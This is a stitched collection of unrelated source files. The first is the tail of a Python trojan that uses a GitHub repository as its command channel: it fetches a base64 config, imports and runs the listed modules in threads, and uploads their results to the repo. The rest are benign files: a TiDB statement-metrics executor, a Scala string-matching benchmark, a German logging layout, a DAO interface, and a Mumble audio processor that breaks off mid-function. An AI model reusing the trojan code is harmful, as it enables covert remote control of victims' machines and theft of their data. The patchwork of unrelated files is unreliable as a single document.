        gh = login(username="yourusername", password=password)

    # Connect to the repo
    repo = gh.repository("ghostofgoes", "botnet-example")
    branch = repo.branch("master")
    return gh, repo, branch

def get_file_contents(filepath):
    """ Gets the raw contents for a file on the repo. """
    gh, repo, branch = connect_to_github()
    tree = branch.commit.commit.tree.recurse()
    for filename in tree.tree:
        if filepath in filename.path:
            print "[*] Found file %s" % filepath
            blob = repo.blob(filename._json_data['sha'])
            return blob.content
    return None

def get_trojan_config():
    """ Finds and loads the configuration file from the repo.
    Imports any modules listed in the file. """
    global configured
    config_json = get_file_contents(trojan_config)
    conf = json.loads(base64.b64decode(config_json))
    configured = True
    for tsk in conf:
        if tsk['module'] not in sys.modules:
            exec ("import %s" % tsk['module'])
    return conf

def store_module_result(data):
    """ Uploads the results of a module run to the repo, in data/<trojan-id> """
    gh, repo, branch = connect_to_github()
    remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000, 100000))
    repo.create_file(remote_path, "Commit message", base64.b64encode(data))
    return

def module_runner(module):
    """ Runs the module as thread, gets the result, and uploads to the repo. """
    task_queue.put(1)
    result = sys.modules[module].run()
    task_queue.get()
    store_module_result(result)  # Store the result in our repo

# Add custom importer to the path Python uses to look for modules
sys.meta_path = [GitImporter()]

# Main trojan loop
while True:
    if task_queue.empty():
        config = get_trojan_config()
        for task in config:
            t = threading.Thread(target=module_runner, args=(task['module'],))
            t.start()
            time.sleep(random.randint(1, 10))
    time.sleep(random.randint(1000, 10000))


text:
package executor

import (
	"fmt"
	"strings"

	"github.com/ngaut/log"
	"github.com/pingcap/tidb/ast"
	"github.com/pingcap/tidb/model"
	"github.com/pingcap/tidb/mysql"
	"github.com/pingcap/tidb/plan"
	"github.com/prometheus/client_golang/prometheus"
)

var (
	stmtNodeCounter = prometheus.NewCounterVec(
		prometheus.CounterOpts{
			Namespace: "tidb",
			Subsystem: "executor",
			Name:      "statement_node_total",
			Help:      "Counter of StmtNode.",
		}, []string{"type"})
)

func init() {
	prometheus.MustRegister(stmtNodeCounter)
}

func stmtCount(node ast.StmtNode, p plan.Plan) {
	if stmtLable := StatementLabel(node, p); stmtLable != IGNORE {
		stmtNodeCounter.WithLabelValues(stmtLable).Inc()
	}
}

const (
	// IGNORE is a special label to identify the situations we want to ignore.
	IGNORE = "Ignore"
	// Select represents select statements.
	Select = "Select"
	// AlterTable represents alter table statements.
	AlterTable = "AlterTable"
	// AnalyzeTable represents analyze table statements.
	AnalyzeTable = "AnalyzeTable"
	// Begin represents begin statements.
	Begin = "Begin"
	// Commit represents commit statements.
	Commit = "Commit"
	// CreateDatabase represents create database statements.
	CreateDatabase = "CreateDatabase"
	// CreateIndex represents create index statements.
	CreateIndex = "CreateIndex"
	// CreateTable represents create table statements.
	CreateTable = "CreateTable"
	// CreateUser represents create user statements.
	CreateUser = "CreateUser"
	// Delete represents delete statements.
	Delete = "Delete"
	// DropDatabase represents drop database statements.
	DropDatabase = "DropDatabase"
	// DropIndex represents drop index statements.
	DropIndex = "DropIndex"
	// DropTable represents drop table statements.
	DropTable = "DropTable"
	// Explain represents explain statements.
	Explain = "Explain"
	// Replace represents replace statements.
	Replace = "Replace"
	// Insert represents insert statements.
	Insert = "Insert"
	// LoadDataStmt represents load data statements.
	LoadDataStmt = "LoadData"
	// RollBack represents roll back statements.
	RollBack = "RollBack"
	// Set represents set statements.
	Set = "Set"
	// Show represents show statements.
	Show = "Show"
	// TruncateTable represents truncate table statements.
	TruncateTable = "TruncateTable"
	// Update represents update statements.
	Update = "Update"
)

// StatementLabel generates a label for a statement.
func StatementLabel(node ast.StmtNode, p plan.Plan) string {
	switch x := node.(type) {
	case *ast.AlterTableStmt:
		return AlterTable
	case *ast.AnalyzeTableStmt:
		return AnalyzeTable
	case *ast.BeginStmt:
		return Begin
	case *ast.CommitStmt:
		return Commit
	case *ast.CreateDatabaseStmt:
		return CreateDatabase
	case *ast.CreateIndexStmt:
		return CreateIndex
	case *ast.CreateTableStmt:
		return CreateTable
	case *ast.CreateUserStmt:
		return CreateUser
	case *ast.DeleteStmt:
		return getDeleteStmtLabel(x, p)
	case *ast.DropDatabaseStmt:
		return DropDatabase
	case *ast.DropIndexStmt:
		return DropIndex
	case *ast.DropTableStmt:
		return DropTable
	case *ast.ExplainStmt:
		return Explain
	case *ast.InsertStmt:
		if x.IsReplace {
			return Replace
		}
		return Insert
	case *ast.LoadDataStmt:
		return LoadDataStmt
	case *ast.RollbackStmt:
		return RollBack
	case *ast.SelectStmt:
		return getSelectStmtLabel(x, p)
	case *ast.SetStmt, *ast.SetPwdStmt:
		return Set
	case *ast.ShowStmt:
		return Show
	case *ast.TruncateTableStmt:
		return TruncateTable
	case *ast.UpdateStmt:
		return getUpdateStmtLabel(x, p)
	case *ast.DeallocateStmt, *ast.ExecuteStmt, *ast.PrepareStmt, *ast.UseStmt:
		return IGNORE
	}
	return "other"
}

func getSelectStmtLabel(stmt *ast.SelectStmt, p plan.Plan) string {
	var attributes stmtAttributes
	attributes.fromSelectStmt(stmt)
	attributes.fromPlan(p)
	attributes.logExpensiveStmt(stmt.Text())
	return Select + attributes.toLabel()
}

func getDeleteStmtLabel(stmt *ast.DeleteStmt, p plan.Plan) string {
	var attributes stmtAttributes
	attributes.fromDeleteStmt(stmt)
	attributes.fromPlan(p)
	attributes.logExpensiveStmt(stmt.Text())
	return Delete + attributes.toLabel()
}

func getUpdateStmtLabel(stmt *ast.UpdateStmt, p plan.Plan) string {
	var attributes stmtAttributes
	attributes.fromUpdateStmt(stmt)
	attributes.fromPlan(p)
	attributes.logExpensiveStmt(stmt.Text())
	return Update + attributes.toLabel()
}

type stmtAttributes struct {
	hasJoin        bool
	hasApply       bool
	hasAggregate   bool
	hasIndexDouble bool
	hasIndexScan   bool
	hasTableScan   bool
	hasRange       bool
	hasOrder       bool
	hasLimit       bool
	isSystemTable  bool
}

func (pa *stmtAttributes) fromSelectStmt(stmt *ast.SelectStmt) {
	if stmt.Limit != nil {
		pa.hasLimit = true
	}
	if stmt.OrderBy != nil {
		pa.hasOrder = true
	}
}

func (pa *stmtAttributes) fromDeleteStmt(stmt *ast.DeleteStmt) {
	if stmt.Limit != nil {
		pa.hasLimit = true
	}
	if stmt.Order != nil {
		pa.hasOrder = true
	}
}

func (pa *stmtAttributes) fromUpdateStmt(stmt *ast.UpdateStmt) {
	if stmt.Limit != nil {
		pa.hasLimit = true
	}
	if stmt.Order != nil {
		pa.hasOrder = true
	}
}

func (pa *stmtAttributes) fromPlan(p plan.Plan) {
	switch x := p.(type) {
	case *plan.PhysicalApply:
		pa.hasApply = true
	case *plan.PhysicalAggregation:
		pa.hasAggregate = true
	case *plan.PhysicalHashJoin:
		pa.hasJoin = true
	case *plan.PhysicalTableScan:
		pa.hasTableScan = true
		if len(x.AccessCondition) > 0 {
			pa.hasRange = true
		}
		pa.setIsSystemTable(x.DBName)
	case *plan.PhysicalIndexScan:
		pa.hasIndexScan = true
		if len(x.AccessCondition) > 0 {
			pa.hasRange = true
		}
		if x.DoubleRead {
			pa.hasIndexDouble = true
		}
		pa.setIsSystemTable(x.DBName)
	case *plan.PhysicalHashSemiJoin:
		pa.hasJoin = true
	}
	children := p.Children()
	for _, child := range children {
		pa.fromPlan(child)
	}
}

func (pa *stmtAttributes) setIsSystemTable(dbName model.CIStr) {
	if dbName.L == mysql.SystemDB {
		pa.isSystemTable = true
	}
}

const (
	attrSimple    = "Simple"
	attrFull      = "Full"
	attrRange     = "Range"
	attrTable     = "Table"
	attrIndex     = "Index"
	attrIndexOnly = "IndexOnly"
	attrJoin      = "Join"
	attrApply     = "Apply"
	attrLimit     = "Limit"
	attrOrder     = "Order"
	attrAggregate = "Agg"
)

// Not all attributes is used to create the label, because we don't want too many labels.
func (pa *stmtAttributes) toLabel() string {
	var attrs []string
	// First attribute.
	if pa.hasJoin {
		attrs = append(attrs, attrJoin)
	} else if pa.hasApply {
		attrs = append(attrs, attrApply)
	} else if pa.hasAggregate {
		attrs = append(attrs, attrAggregate)
	} else if pa.hasIndexDouble {
		attrs = append(attrs, attrIndex)
	} else if pa.hasIndexScan {
		attrs = append(attrs, attrIndexOnly)
	} else if pa.hasTableScan {
		attrs = append(attrs, attrTable)
	} else {
		attrs = append(attrs, attrSimple)
	}
	// Second attribute.
	if pa.hasRange {
		attrs = append(attrs, attrRange)
	} else {
		attrs = append(attrs, attrFull)
	}
	// Third attribute, optional.
	if pa.hasOrder {
		attrs = append(attrs, attrOrder)
	}
	// Fourth attribute, optional.
	if pa.hasLimit {
		attrs = append(attrs, attrLimit)
	}
	return strings.Join(attrs, "")
}

func (pa *stmtAttributes) logExpensiveStmt(sql string) {
	if pa.hasRange || pa.hasLimit || pa.isSystemTable {
		return
	}
	if !pa.hasIndexScan && !pa.hasTableScan && !pa.hasIndexDouble {
		return
	}
	const logSQLLen = 1024
	if len(sql) > logSQLLen {
		sql = sql[:logSQLLen] + fmt.Sprintf("len(%d)", len(sql))
	}
	log.Warnf("[EXPENSIVE_QUERY] %s", sql)
}


text:
package com.netflix.atlas.core.util

import java.util.regex.Pattern

import org.openjdk.jmh.annotations.Benchmark
import org.openjdk.jmh.annotations.Scope
import org.openjdk.jmh.annotations.State
import org.openjdk.jmh.annotations.Threads
import org.openjdk.jmh.infra.Blackhole

/**
 * There was an old suggestion that max via bit manip would be faster and avoid branch instructions. That
 * doesn't appear to be the case:
 *
 * ```
 * > run -wi 10 -i 10 -f1 -t1 .*StringMatching.*
 * ```
 */
@State(Scope.Thread)
class StringMatching {

  private val value = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_."
  private val prefix = value
  private val substr = "XYZ"

  private val flags = Pattern.CASE_INSENSITIVE

  private val startsWithMatcher = StringMatcher.StartsWith(prefix)
  private val ssIndexOfMatcher = StringMatcher.IndexOf(substr)
  private val icIndexOfMatcher = StringMatcher.IndexOfIgnoreCase(substr)
  private val regexMatcher = StringMatcher.Regex(None, Pattern.compile(s"^$prefix"))
  private val icRegexMatcher = StringMatcher.Regex(None, Pattern.compile(s"^$prefix", flags))
  private val ssRegexMatcher = StringMatcher.Regex(None, Pattern.compile(s"^.*$substr"))
  private val ssRegexMatcher2 = StringMatcher.Regex(None, Pattern.compile(substr))
  private val ssICRegexMatcher = StringMatcher.Regex(None, Pattern.compile(s"^.*$substr", flags))
  private val ssICRegexMatcher2 = StringMatcher.Regex(None, Pattern.compile(substr, flags))

  @Threads(1)
  @Benchmark
  def testPrefixRegex(bh: Blackhole): Unit = {
    bh.consume(regexMatcher.matches(value))
  }

  @Threads(1)
  @Benchmark
  def testPrefixRegexNewMatcher(bh: Blackhole): Unit = {
    bh.consume(regexMatcher.pattern.matcher(value).find)
  }

  @Threads(1)
  @Benchmark
  def testPrefixStartsWith(bh: Blackhole): Unit = {
    bh.consume(startsWithMatcher.matches(value))
  }

  @Threads(1)
  @Benchmark
  def testPrefixICRegex(bh: Blackhole): Unit = {
    bh.consume(icRegexMatcher.matches(value))
  }

  // regionMatches is slower than regex when ignoring case. This seems to be mostly due to
  // the regex doing simple ascii conversion for case (not using UNICODE_CASE flag) where the
  // String class is trying to do a unicode aware case conversion.
  @Threads(1)
  @Benchmark
  def testPrefixICStartsWith(bh: Blackhole): Unit = {
    bh.consume(value.regionMatches(true, 0, prefix, 0, prefix.length))
  }

  @Threads(1)
  @Benchmark
  def testSubstrIndexOf(bh: Blackhole): Unit = {
    bh.consume(ssIndexOfMatcher.matches(value))
  }

  @Threads(1)
  @Benchmark
  def testSubstrRegex(bh: Blackhole): Unit = {
    bh.consume(ssRegexMatcher.matches(value))
  }

  @Threads(1)
  @Benchmark
  def testSubstrRegex2(bh: Blackhole): Unit = {
    bh.consume(ssRegexMatcher2.matches(value))
  }

  @Threads(1)
  @Benchmark
  def testSubstrICIndexOf(bh: Blackhole): Unit = {
    bh.consume(icIndexOfMatcher.matches(value))
  }

  @Threads(1)
  @Benchmark
  def testSubstrICRegex(bh: Blackhole): Unit = {
    bh.consume(ssICRegexMatcher.matches(value))
  }

  @Threads(1)
  @Benchmark
  def testSubstrICRegex2(bh: Blackhole): Unit = {
    bh.consume(ssICRegexMatcher2.matches(value))
  }

}


text:
package de.bund.bva.isyfact.logging.layout;

import java.util.ArrayList;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;

import ch.qos.logback.classic.Level;
import ch.qos.logback.classic.spi.ILoggingEvent;
import ch.qos.logback.contrib.json.JsonFormatter;
import ch.qos.logback.contrib.json.classic.JsonLayout;
import ch.qos.logback.core.CoreConstants;
import de.bund.bva.isyfact.logging.IsyMarker;
import de.bund.bva.isyfact.logging.exceptions.FehlerhafterLogeintrag;
import de.bund.bva.isyfact.logging.exceptions.LoggingTechnicalRuntimeException;
import de.bund.bva.isyfact.logging.impl.Ereignisschluessel;
import de.bund.bva.isyfact.logging.impl.FachdatenMarker;
import de.bund.bva.isyfact.logging.impl.FehlerSchluessel;
import de.bund.bva.isyfact.logging.util.LoggingKonstanten;
import de.bund.bva.isyfact.logging.util.MdcHelper;
import org.slf4j.Marker;

/**
 * Logback-Layout zum Aufbereiten der Logeinträge in JSON-Format. Das Layout übernimmt dabei insbesondere auch
 * die übergenenen Marker.
 *
 */
public class IsyJsonLayout extends JsonLayout {

    /** Konstante für eine leere Korrelations-ID. */
    private static final String LEERE_KORRELATIONSID = "none";

    /** Attributname des Zeitstempels. */
    private static final String ZEITSTEMPEL_ATTR_NAME = "zeitstempel";

    /** Attributname der Parameter einer Log-Nachricht. */
    private static final String PARAMETER_ATTR_NAME = "parameter";

    /** Attributname der Log-Nachricht. */
    private static final String NACHRICHT_ATTR_NAME = "nachricht";

    /** Attributname der Log-Nachricht. */
    private static final String EXCEPTION_ATTR_NAME = "exception";

    /** Attributname der Korrelations-Id. */
    private static final String KORRELATIONSID_ATTR_NAME = "korrelationsid";

    /** Attributname für allgemeine Marker. */
    private static final String MARKER_ATTR_NAME = "marker";

    /** Attributname für gekürzte Log-Nachrichten. */
    private static final String GEKUERZT_ATTR_NAME = "gekuerzt";

    /** Maximale Groesse eines Loeintrags in Byte. */
    private int maxLength = 32000;

    /**
     * Konstruktor der Klasse.
     */
    public IsyJsonLayout() {
        super();

        includeLevel = true;
        includeThreadName = true;
        // MDC wird nicht ausgegeben, da wir diesen als 'korrelationsid' aufnehmen.
        includeMDC = false;
        includeLoggerName = true;
        // Message wird weder roh noch formatiert aufgenommen. Wir geben die formatierte Nachricht als
        // 'nachricht' aus.
        includeFormattedMessage = false;
        includeMessage = false;
        includeException = true;
        includeContextName = true;

        // Zeitstempel wird mauell als 'zeitstempel' ausgegeben.
        includeTimestamp = false;
        appendLineSeparator = false;
    }

    @Override
    public String doLayout(ILoggingEvent event) {
        Map<String, Object> map = toJsonMap(event);
        if (map == null || map.isEmpty()) {
            return "";
        }
        String result = getStringFromFormatter(map);
        if (result == null || result.isEmpty()) {
            return "";
        }
        result = pruefeGroesse(map, result, event);

        return isAppendLineSeparator() ? result + CoreConstants.LINE_SEPARATOR : result;
    }

    private String getStringFromFormatter(Map<String, Object> map) {
        JsonFormatter formatter = getJsonFormatter();
        if (formatter == null) {
            Exception fehler =
                new LoggingTechnicalRuntimeException(FehlerSchluessel.FEHLENDE_KONFIGURATION_JSON_LAYOUT,
                    getClass().getName());
            addError(fehler.getMessage(), fehler);
            return "";
        }

        try {
            return formatter.toJsonString(map);
        } catch (Exception e) {
            Map<String, Object> stringMap = new LinkedHashMap<>();
            for (Map.Entry<String, Object> entry : map.entrySet()) {
                if (MDC_ATTR_NAME.equals(entry.getKey())) {
                    stringMap.put(entry.getKey(), entry.getValue());
                } else {
                    stringMap.put(entry.getKey(), entry.getValue().toString());
                }
            }
            try {
                return formatter.toJsonString(stringMap);
            } catch (Exception ex) {
                Exception fehler =
                    new FehlerhafterLogeintrag(FehlerSchluessel.FEHLER_SERIALISIERUNG_AUFRUFPARAMETER, ex);
                addError(fehler.getMessage(), fehler);
                return "";
            }
        }
    }

    /**
     * {@inheritDoc}
     *
     * @see ch.qos.logback.contrib.json.classic.JsonLayout#toJsonMap(ch.qos.logback.classic.spi.ILoggingEvent)
     */
    @Override
    protected Map<String, Object> toJsonMap(ILoggingEvent event) {
        // Erstellen einer Map von JSON-Attributen. In der Superklasse werden nur die sl4j-Standardattribute
        // gefüllt. Es werden insbesondere keine Marker ausgewertet.
        Map<String, Object> jsonMap = new LinkedHashMap<>();

        // Die Attribute werden im Log nach der Reihenfolge ihrer Hinzufügung sortiert.
        String zeitstempel = formatTimestamp(event.getTimeStamp());
        if (zeitstempel != null) {
            jsonMap.put(ZEITSTEMPEL_ATTR_NAME, zeitstempel);
        }

        @SuppressWarnings("unchecked")
        Map<String, Object> defaultMap = super.toJsonMap(event);
        jsonMap.putAll(defaultMap);

        // Nachricht übernehmen
        String msg = event.getFormattedMessage();
        if (msg != null) {
            jsonMap.put(NACHRICHT_ATTR_NAME, msg);
        }

        // korrelationsid
        String korrelationsId = MdcHelper.liesKorrelationsId();
        if (korrelationsId == null) {
            korrelationsId = LEERE_KORRELATIONSID;
        }
        jsonMap.put(KORRELATIONSID_ATTR_NAME, korrelationsId);

        // Auswerten der Marker
        Marker marker = event.getMarker();

        // Marker durchlaufen und verarbeiten. IsyFact-Marker werden dabei direkt in die jsonMap übernommen.
        List<String> standardMarker = new ArrayList<>();
        processMarker(marker, jsonMap, standardMarker);

        // Parameter der Nachricht (Platzhalter) als separate Attribute übernehmen.
        Object[] parameter = event.getArgumentArray();
        if (parameter != null) {
            for (int i = 0; i < parameter.length; i++) {
                jsonMap.put(PARAMETER_ATTR_NAME + (i + 1), parameter[i]);
            }
        }

        // Standardmarker in einer einzelnen Liste übernehmen.
        if (!standardMarker.isEmpty()) {
            jsonMap.put(MARKER_ATTR_NAME, standardMarker);
        }

        // Fachdaten in MDC: Dadurch kann der Wert des Markers "Fachdaten" nochmals überschrieben werden.
        boolean enthaeltFachlicheDaten = MdcHelper.liesMarkerFachdaten();
        if (enthaeltFachlicheDaten) {
            // Hierdurch wird der bisherige Datentyp des Logeintrags überschrieben!
            processMarker(new FachdatenMarker(), jsonMap, standardMarker);
        }

        return jsonMap;
    }

    /**
     * Diese Methode verarbeitet den übergebenen Marker und durchläuft rekursiv dessen Referenzen.
     * IsyFact-Marker werden dabei als Name/Wert-Paare in die jsonMap übernommen. Alle anderen
     * "StandardMarker" werden in der Liste "standardMarker" gesammelt.
     *
     * @param marker
     *            der zu verarbeitende Marker.
     * @param jsonMap
     *            Map mit JSON-Attributen.
     * @param standardMarker
     *            Liste, in der die Standard-Marker aufgenommen werden.
     */
    private void processMarker(Marker marker, Map<String, Object> jsonMap, List<String> standardMarker) {

        if (marker == null) {
            return;
        }

        if (marker instanceof IsyMarker) {
            IsyMarker isyMarker = (IsyMarker) marker;
            // Werte von Root-Markern werden nicht übernommen
            if (!isyMarker.isRootMarker()) {
                // Es werden auch Marker mit "NULL-Werten" übernommen".
                jsonMap.put(isyMarker.getName(), isyMarker.getValue());
            }
        } else {
            standardMarker.add(marker.getName());
        }

        Iterator<Marker> iterator = marker.iterator();

        while (iterator.hasNext()) {
            processMarker(iterator.next(), jsonMap, standardMarker);
        }
    }

    /**
     * Diese Methode prüft, ob der übergebene String des Logeintrags die maximale Größe überschreitet und
     * gekürzt werden muss. Ist der Logeintrag zu groß, wird der Logeintrag nach folgendem Ablauf gekürzt:
     * 1. Alle Parameter aus dem Logeintrag entfernen.
     * 2. Feld Exception kürzen, falls vorhanden
     * 3. Feld Nachricht kürzen
     *
     * Sollte der Logeintrag nach dem Kürzen immer noch zu lang sein, so wird eine Exception geworfen.
     *
     * @param map        die Map mit den Rohdaten des Log-Events
     * @param logeintrag die Map in einen String gewandelt
     * @param event      das Log-Event
     * @return der geprüfte und eventuell gekürzte Logeintrag als String
     */

    private String pruefeGroesse(Map<String, Object> map, String logeintrag, ILoggingEvent event) {
        if (maxLength > 0 && // Prüfen, ob eine maximale Länge definiert wurde (0=beliebig lang)
            event.getLevel().isGreaterOrEqual(Level.INFO) && // Nur Lognachrichten in Betracht ziehen, die Level INFO oder höher besitzen
            logeintrag.length() >= (maxLength / 2.0)) { // Prüfen, ob die Lognachricht die maximale Größe in Bytes überhaupt mit ihrer Länge erreichen kann

            byte[] zeichen = logeintrag.getBytes();
            int tatsaechlicheLaenge = zeichen.length;
            if (tatsaechlicheLaenge > maxLength) {
                // Zunächst alle Parameter des Logeintrags entfernen
                map.replaceAll((k, v) -> {
                    if (k.startsWith(PARAMETER_ATTR_NAME)) {
                        return Ereignisschluessel.DEBUG_LOG_GEKUERZT.getNachricht();
                    } else {
                        return v;
                    }
                });

                map.put(GEKUERZT_ATTR_NAME, LoggingKonstanten.TRUE);

                int ueberhang = berechneUeberhang(map);

                if (ueberhang > 0) {
                    if (map.containsKey(EXCEPTION_ATTR_NAME)) {
                        // Zuerst Exception kürzen, falls vorhanden, dann Nachricht, falls noch zu lang
                        ueberhang = feldKuerzen(EXCEPTION_ATTR_NAME, map, ueberhang);
                        if (ueberhang > 0) {
                            feldKuerzen(NACHRICHT_ATTR_NAME, map, ueberhang);
                        }
                    } else {
                        // Ansonsten direkt die Nachricht kürzen
                        feldKuerzen(NACHRICHT_ATTR_NAME, map, ueberhang);
                    }
                }
                return getStringFromFormatter(map);
            }
        }

        return logeintrag;
    }

    /**
     * Diese Methode kürzt den Inhalt eines Feldes einer Map anhand des übermittelten Überhangs,
     * berechnet den Überhang nach der Kürzung und gibt diesen zurück.
     *
     * @param schluessel der Schluessel des Feldes in der Map, das gekürzt werden soll
     * @param map        die Map mit den Rohdaten des Log-Events
     * @param ueberhang  der Überhang als Anzahl Zeichen
     * @return der aktualisierte Überhang nach der Kürzung
     */

    private int feldKuerzen(String schluessel, Map<String, Object> map, int ueberhang) {
        int neuerUeberhang = ueberhang;
        int vorherigerUeberhang;
        if (map.containsKey(schluessel)) {
            int feldlaenge;
            do {
                vorherigerUeberhang = neuerUeberhang;
                feldlaenge = map.get(schluessel).toString().length();
                if (neuerUeberhang >= feldlaenge) {
                    map.put(schluessel, Ereignisschluessel.DEBUG_LOG_GEKUERZT.getNachricht());
                } else {
                    map.put(schluessel,
                        map.get(schluessel).toString().substring(0, feldlaenge - neuerUeberhang - 1));
                }
                neuerUeberhang = berechneUeberhang(map);
            } while (neuerUeberhang > 0 && !map.get(schluessel).toString()
                .equals(Ereignisschluessel.DEBUG_LOG_GEKUERZT.getNachricht()) && neuerUeberhang != vorherigerUeberhang);
        }
        return neuerUeberhang;
    }

    /**
     * Diese Methode berechnet den Überhang eines Logeintrags, der als Map übermittelt wird.
     * Der Überhang wird zunächst in Bytes berechnet und anschließend in eine Anzahl von Zeichen umgewandelt.
     *
     * @param map die Map mit den Rohdaten des Log-Events
     * @return der berechnete Ueberhang
     */
    private int berechneUeberhang(Map<String, Object> map) {
        String logeintrag = getStringFromFormatter(map);
        int tatsaechlicheLaenge = logeintrag.getBytes().length;

        // Anzahl der abzuschneidenden Zeichen ermitteln (
        // Berechne Bytes pro Zeichen
        float byteZeichen = (float) tatsaechlicheLaenge / (float) logeintrag.length();

        // Ueberhang gibt die Anzahl zu entfernender Zeichen an
        return (int) ((tatsaechlicheLaenge - maxLength) / byteZeichen) + 1;
    }

    public int getMaxLength() {
        return maxLength;
    }

    public void setMaxLength(int maxLength) {
        this.maxLength = maxLength;
    }
}


text:
package com.heroku.dao;

import com.heroku.model.UserDetailBean;
public interface UsersDao {

	void  insertRole(UserDetailBean user);
    void  insertUserLog(UserDetailBean user);
    void insertUserDetail(UserDetailBean user);

}


text:
// For conditions of distribution and use, see copyright notice in LICENSE

#include "AudioProcessor.h"
#include "MumblePlugin.h"
#include "MumbleData.h"
#include "CeltCodec.h"
#include "celt/celt.h"

#include "Framework.h"
#include "Profiler.h"
#include "AudioAPI.h"
#include "CoreDefines.h"
#include "LoggingFunctions.h"

#include <QMutexLocker>

namespace MumbleAudio
{
    AudioProcessor::AudioProcessor(Framework *framework_, MumbleAudio::AudioSettings settings) :
        LC("[MumbleAudioProcessor]: "),
        framework(framework_),
        codec(new CeltCodec()),
        speexPreProcessor(0),
        outputPreProcessed(false),
        preProcessorReset(true),
        isSpeech(false),
        wasPreviousSpeech(false),
        holdFrames(0),
        bufferFullFrames(0),
        qualityFramesPerPacket(MUMBLE_AUDIO_FRAMES_PER_PACKET_ULTRA)
    {
        ApplySettings(settings);

        // Timer is created in the main thread context as it can only be started in the thread its created in,
        // and we want to start it in ProcessOutputAudio().
        resetFramesPerPacket.setSingleShot(true);
        connect(&resetFramesPerPacket, SIGNAL(timeout()), this, SLOT(OnResetFramesPerPacket()), Qt::QueuedConnection);
    }

    AudioProcessor::~AudioProcessor()
    {
        // Cleanup is done in run() when thread exits.
    }

    void AudioProcessor::ResetSpeexProcessor()
    {
        if (!preProcessorReset)
            return;
        preProcessorReset = false;

        AudioSettings currentSettings;

        mutexAudioSettings.lockForRead();
        currentSettings = audioSettings;
        mutexAudioSettings.unlock();

        outputPreProcessed = false;
        if (currentSettings.suppression < 0 || currentSettings.amplification > 0)
            outputPreProcessed = true;

        // Only usage of speexPreProcessor ptr in another thread is behind this lock.
        QMutexLocker outputLock(&mutexOutputPCM);

        if (speexPreProcessor)
            speex_preprocess_state_destroy(speexPreProcessor);

        speexPreProcessor = speex_preprocess_state_init(MUMBLE_AUDIO_SAMPLES_IN_FRAME, MUMBLE_AUDIO_SAMPLE_RATE);

        int enabled = 1;
        int arg = 0;
        float fArg = 0.0f;

        speex_preprocess_ctl(speexPreProcessor, SPEEX_PREPROCESS_SET_VAD, &enabled);
        speex_preprocess_ctl(speexPreProcessor, SPEEX_PREPROCESS_SET_AGC, &enabled);
        speex_preprocess_ctl(speexPreProcessor, SPEEX_PREPROCESS_SET_DENOISE, &enabled);
        speex_preprocess_ctl(speexPreProcessor, SPEEX_PREPROCESS_SET_DEREVERB, &enabled);

        arg = 30000;
        speex_preprocess_ctl(speexPreProcessor, SPEEX_PREPROCESS_SET_AGC_TARGET, &arg);

        float v = 30000.0f / static_cast<float>(currentSettings.amplification);
        arg = static_cast<int>(floorf(20.0f * log10f(v)));
        speex_preprocess_ctl(speexPreProcessor, SPEEX_PREPROCESS_SET_AGC_MAX_GAIN, &arg);

        arg = 12;
        speex_preprocess_ctl(speexPreProcessor, SPEEX_PREPROCESS_SET_AGC_INCREMENT, &arg);

        arg = -60;
        speex_preprocess_ctl(speexPreProcessor, SPEEX_PREPROCESS_SET_AGC_DECREMENT, &arg);

        arg = currentSettings.suppression;
        speex_preprocess_ctl(speexPreProcessor, SPEEX_PREPROCESS_SET_NOISE_SUPPRESS, &arg);

        fArg = 0.0f;
        speex_preprocess_ctl(speexPreProcessor, SPEEX_PREPROCESS_SET_DEREVERB_DECAY, &fArg);
        speex_preprocess_ctl(speexPreProcessor, SPEEX_PREPROCESS_SET_DEREVERB_LEVEL, &fArg);
    }

    void AudioProcessor::run()
    {
        qobjTimerId = startTimer(15); // Audio processing with ~60 fps.

        exec(); // Blocks untill quit()

        killTimer(qobjTimerId);

        SAFE_DELETE(codec);

        {
            QMutexLocker lockInput(&mutexInput);
            inputAudioStates.clear();
            framework = 0;
        }

        if (speexPreProcessor)
            speex_preprocess_state_destroy(speexPreProcessor);
    }

    void AudioProcessor::timerEvent(QTimerEvent *event)
    {
        if (event->timerId() != qobjTimerId)
            return;

        // This function processed queued PCM frames with speexdsp and celt at ~60fps and adds them to
        // a pending encoded frames list to be sent out to the network from the main thread.
        // Mutex mutexOutputPCM and mutexOutputEncoded are the main locks for queuing the frames back and forth.
        if (!codec)
            return;

        int localGain = 0;

        mutexAudioSettings.lockForRead();
        int localQualityBitrate = qualityBitrate;
        int localSuppress = audioSettings.suppression;
        bool detectVAD = audioSettings.transmitMode == TransmitVoiceActivity;
        bool localPreProcess = outputPreProcessed;
        float VADmin = audioSettings.VADmin;
        float VADmax = audioSettings.VADmax;
        mutexAudioSettings.unlock();

        mutexOutputPCM.lock();
        if (pendingPCMFrames.size() == 0)
        {
            mutexOutputPCM.unlock();
            return;
        }

        QList<QByteArray> encodedFrames;
        for (std::vector<SoundBuffer>::const_iterator pcmIter = pendingPCMFrames.begin(); pcmIter != pendingPCMFrames.end(); ++pcmIter)
        {
            const SoundBuffer &pcmFrame = (*pcmIter);
            if (pcmFrame.data.size() == 0)
                continue;

            isSpeech = true;
            if (localPreProcess)
            {
                speex_preprocess_ctl(speexPreProcessor, SPEEX_PREPROCESS_GET_AGC_GAIN, &localGain);
                int suppression = localSuppress - localGain;
                if (suppression > 0)
                    suppression = 0;
                speex_preprocess_ctl(speexPreProcessor, SPEEX_PREPROCESS_SET_NOISE_SUPPRESS, &suppression);
                speex_preprocess_run(speexPreProcessor, (spx_int16_t*)&pcmFrame.data[0]);

                if (detectVAD)
                {
                    float sum = 1.0f;
                    short *data = (short*)&pcmFrame.data[0];
                    for (int index=0; index<MUMBLE_AUDIO_SAMPLES_IN_FRAME; index++)
                    {
                        int value = data[index];
                        sum += static_cast<float>(value * value);
                    }

                    levelPeakMic = qMax(20.0f * log10f(sqrtf(sum / static_cast<float>(MUMBLE_AUDIO_SAMPLES_IN_FRAME)) / 32768.0f), -96.0f);
                    levelPeakMic = qMax(levelPeakMic - localGain, -96.0f);
                    levelMic = (1.0f + levelPeakMic / 96.0f);

                    // Detect mic level if speaking
                    if (levelMic > VADmax)
                        isSpeech = true;
                    else if (levelMic > VADmin && wasPreviousSpeech)
                        isSpeech = true;
                    else
                        isSpeech = false;

                    if (isSpeech)
                        holdFrames = 0;
                    else
                    {
                        // Hold certain amount of frames even if not speaking.
                        // This allows end of sentences to get to the outgoing buffer safely.
                        holdFrames++;
                        if (holdFrames < 20)
